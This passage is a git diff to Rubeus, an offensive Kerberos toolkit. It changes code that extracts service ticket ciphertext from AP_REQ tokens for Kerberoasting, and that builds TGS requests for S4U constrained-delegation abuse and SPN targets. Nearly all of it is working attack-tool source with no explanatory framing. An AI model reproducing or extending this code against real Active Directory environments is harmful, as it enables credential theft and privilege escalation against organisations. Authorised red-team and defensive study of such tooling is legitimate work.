requestBytes len: {0}", requestBytes.Length); -#endif + if ( !((requestBytes[15] == 1) && (requestBytes[16] == 0)) ) { Console.WriteLine("\r\n[X] GSSAPI inner token is not an AP_REQ.\r\n"); @@ -279,16 +266,9 @@ namespace Rubeus // ignore the GSSAPI frame byte[] apReqBytes = new byte[requestBytes.Length-17]; Array.Copy(requestBytes, 17, apReqBytes, 0, requestBytes.Length - 17); -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] Copied past GSSAPI frame. apReqBytes len: {0}", apReqBytes.Length); -#endif AsnElt apRep = AsnElt.Decode(apReqBytes); -#if DEBUG - Console.WriteLine("[Debug:GetDomainSPNTicket] apRep.TagValue: {0}", apRep.TagValue); -#endif - if (apRep.TagValue != 14) { Console.WriteLine("\r\n[X] Incorrect ASN application tag. Expected 14, but got {0}.\r\n", apRep.TagValue); @@ -298,11 +278,7 @@ namespace Rubeus foreach (AsnElt elem in apRep.Sub[0].Sub) { - if (elem.TagValue == 0) - { - encType = elem.Sub[0].GetInteger(); - } - else if (elem.TagValue == 3) + if (elem.TagValue == 3) { foreach (AsnElt elem2 in elem.Sub[0].Sub[0].Sub) { @@ -310,6 +286,11 @@ namespace Rubeus { foreach (AsnElt elem3 in elem2.Sub[0].Sub) { + if (elem3.TagValue == 0) + { + encType = elem3.Sub[0].GetInteger(); + } + if (elem3.TagValue == 2) { byte[] cipherTextBytes = elem3.Sub[0].GetOctetString(); diff --git a/Rubeus/lib/krb_structures/EncKrbCredPart.cs b/Rubeus/lib/krb_structures/EncKrbCredPart.cs index c1ef965..3d2ff03 100755 --- a/Rubeus/lib/krb_structures/EncKrbCredPart.cs +++ b/Rubeus/lib/krb_structures/EncKrbCredPart.cs @@ -26,7 +26,7 @@ namespace Rubeus ticket_info = new List(); byte[] octetString = body.Sub[1].Sub[0].GetOctetString(); - AsnElt body2 = AsnElt.Decode(octetString); + AsnElt body2 = AsnElt.Decode(octetString, false); // assume only one KrbCredInfo for now KrbCredInfo info = new KrbCredInfo(body2.Sub[0].Sub[0].Sub[0].Sub[0]); diff --git a/Rubeus/lib/krb_structures/TGS_REQ.cs b/Rubeus/lib/krb_structures/TGS_REQ.cs index f5e0148..48dd8a2 100755 --- a/Rubeus/lib/krb_structures/TGS_REQ.cs +++ b/Rubeus/lib/krb_structures/TGS_REQ.cs @@ -33,6 +33,11 @@ namespace Rubeus // the realm (domain) the user exists in req.req_body.realm = domain; + // add in our encryption types + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' @@ -44,21 +49,37 @@ namespace Rubeus req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; - req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); - req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); - req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); + //req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); } else { - // add in our encryption type - req.req_body.etypes.Add(etype); + //// add in our encryption type + //req.req_body.etypes.Add(etype); - // KRB_NT_SRV_INST = 2 - // service and other unique instance (e.g. krbtgt) - req.req_body.sname.name_type = 2; - req.req_body.sname.name_string.Add(sname); - req.req_body.sname.name_string.Add(domain); + string[] parts = sname.Split('/'); + if (parts.Length == 1) + { + // KRB_NT_SRV_INST = 2 + // service and other unique instance (e.g. krbtgt) + req.req_body.sname.name_type = 2; + req.req_body.sname.name_string.Add(sname); + req.req_body.sname.name_string.Add(domain); + } + else if (parts.Length == 2) + { + // KRB_NT_SRV_INST = 2 + // SPN (sname/server.domain.com) + req.req_body.sname.name_type = 2; + req.req_body.sname.name_string.Add(parts[0]); + req.req_body.sname.name_string.Add(parts[1]); + } + else + { + Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname); + } if (renew) {